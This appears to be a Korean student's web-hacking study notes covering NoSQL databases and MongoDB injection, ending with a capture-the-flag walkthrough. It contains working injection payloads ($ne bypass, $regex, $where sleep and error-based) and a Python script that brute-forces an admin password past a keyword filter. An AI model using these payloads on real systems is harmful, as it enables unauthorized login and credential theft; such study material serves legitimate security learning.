본문 바로가기

웹해킹

웹해킹 7주차

MongoDB

JSON 형태인 도큐먼트(Document)를 저장한다. 

  1. 스키마를 따로 정의하지 않아 각 컬렉션(Collection)에 대한 정의가 필요하지 않습니다.
  2. JSON 형식으로 쿼리를 작성할 수 있습니다.
  3. _id 필드가 Primary Key 역할을 합니다.

이와 같은 특징들이 있다. 

 

MongoDB 연산자

Comparison, Logical,  Element, Evaluation 연산자가 있습니다. 각각 차례대로 보겠습니다. 

 

Comparison

Name Description
$eq 지정된 값과 같은 걸 찾는다.(equal)
$in 배열 안의 값들과 일치하는 값을 찾는다. (in)
$ne 지정된 값과 같지 않은 걸 찾는다.(not equal)
$nin 배열 안의 값들과 일치하지 않는 걸 찾는다(not in)

 

 

Logical

Name Description
$and 논리적 And. 각각의 쿼리를 모두 만족하는 문서가 반환된다
$not 쿼리 식의 효과를 반전, 일치하지 않는 문서를 반환
$nor 논리적 NOR, 각각 쿼리를 모두 만족하지 않는 문서가 반환
$or 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환

 

Element

Name Description
$exists 지정된 필드가 있는 문서를 찾는다
$type 지정된 필드가 지정된 유형인 문서를 선택

 

Evaluation 

Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있다
$regex 지정된 정규식과 일치하는 문서 선택
$text 지정된 텍스트 검

 

기본 문법

SQL과 MongoDB는 SELECT, INSERT, DELETE, UPDATE 부분에서도 차이가 납니다. 

Redis

Redis는 키-값(Key-Value)의 쌍을 가진 데이터를 저장합니다. 제일 큰 특징은 다른 데이터베이스와 다르게 메모리 기반의 DBMS입니다. 아래 코드는 Redis에서 데이터를 추가하고, 조회하는 명령어의 예시입니다.

$ redis-cli
127.0.0.1:6379> SET test 1234 # SET key value
OK
127.0.0.1:6379> GET test # GET key
"1234"

 

데이터 조회 및 조작 명령어는 다음과 같습니다.

명령어 구조 설명
GET GET key 데이터를 조회
MGET MGET key [key...] 여러 데이터를 조회
SET SET key value 새로운 데이터를 추가
MSET MSET key value[key value...] 여러 데이터를 추가
DEL DEL key [key....] 데이터 삭제
EXISTS EXISTS key [key...] 데이터 유뮤 확인
INCR INCR key 데이터 +1
DECR DECR key 데이터 -1

 

관리 명령어는 아래와 같다

명렁어 구조 설명
INFO INFO [section] DBMS 정보 조회
CONFIG GET CONFIG GET parameter 설명 조회
CONFIR SET CONFIG SET parameter value 새로운 설정을 입력

 

 

CouchDB

CouchDB 또한 MongoDB와 같이 JSON 형태인 도큐먼트(Document)를 저장합니다. 이는 웹 기반의 DBMS로, REST API 형식으로 요청을 처리합니다

메소드 기능 설명
POST 새로운 레코드 추가
GET 레코드 조회
PUT 레코드 업데이트
DELETE 레코드 삭

 

특수 구성 요소

CouchDB에서는 서버 또는 데이터베이스를 위해 다양한 기능을 제공합니다. 그 중 _ 문자로 시작하는 URL, 필드는 특수 구성 요소를 나타냅니다.

 

SERVER

요소 설명
/ 인스턴스에 대한 메타 정보를 반환
/_all_dbs "의 데이터베이스 목록 반환
/_utils 관리자 페이지로 이동

 

Database

요소 설명
/db 지정된 데이터베이스에 대한 정보를 반환
/{db}/_all_docs "에 포함된 모든 도큐먼트를 반환
/{db}/_find "에서 JSoN 쿼리에 해당하는 모든 도큐먼트를 반

 

NoSQL Injection

MongoDB는 문자열이 아닌 타입의 값을 입력할 수 있고, 이를 통해 연산자를 사용할 수 있다고 했습니다. 아래 코드는 user 컬렉션에서 이용자가 입력한 uidupw에 해당하는 데이터를 찾고, 출력하는 예제 코드입니다.

 

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있습니다. 이전 강의에서 학습한 $ne 연산자는 not equal 약자로, 입력한 데이터와 일치하지 않는 데이터를 반환합니다.

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

 

Blind NoSQL Injection

MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있습니다.

Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있다
$regex 지정된 정규식과 일치하는 문서를 찾는다
$text 지정된 텍스트를 검사한다
$where JavaScript표현식을 만족하는 문서와 일치한

 

$regex

upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시는 다음과 같다.

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

$where

아래를 살펴보면, 해당 연산자는 field에서 사용할 수 없는 것을 확인할 수 있습니다.

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

 

substring

아래 쿼리upw의 첫 글자를 비교해 데이터를 알아내는 쿼리입니다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

 

Sleep 함수를 통한 Time based Injection

MongoDB는 sleep 함수를 제공합니다. 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있습니다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

 

Error based Injection

Errror based Injection은 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킵니다

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

 

 


Exercise: NoSQL Injection

엔드 포인트: /login

app.get('/login', function(req, res) {
    if(filter(req.query)){ // filter 함수 실행
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query; 
    db.collection('user').findOne({ // db에서 uid, upw로 검색
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){ 
            res.send('err');
        }else if(result){ 
            res.send(result['uid']); 
        }else{
            res.send('undefined'); 
        }
    })
});

filter 함수

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

 

취약점 분석

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

Query & type

 

익스플로잇

/login에서는 로그인에 성공했을 때 이용자의 uid만 출력합니다. Blind NoSQL Injection을 통해 admin의 upw를 획득해야 합니다.

 

1. Blind NoSQL Injection Payload 생성

http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*

 

 

2. filter 우회

http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*

 

3. Exploit Code 작성

import requests, string

HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    
    print(f'FLAG: DH{{{flag}}}')

 

'웹해킹' 카테고리의 다른 글

웹해킹 9주차  (0) 2024.11.24
웹해킹 6주차  (0) 2024.11.03
웹해킹 4주차  (0) 2024.10.07
웹해킹 3주차  (2) 2024.09.23
웹해킹 1주차  (1) 2024.09.07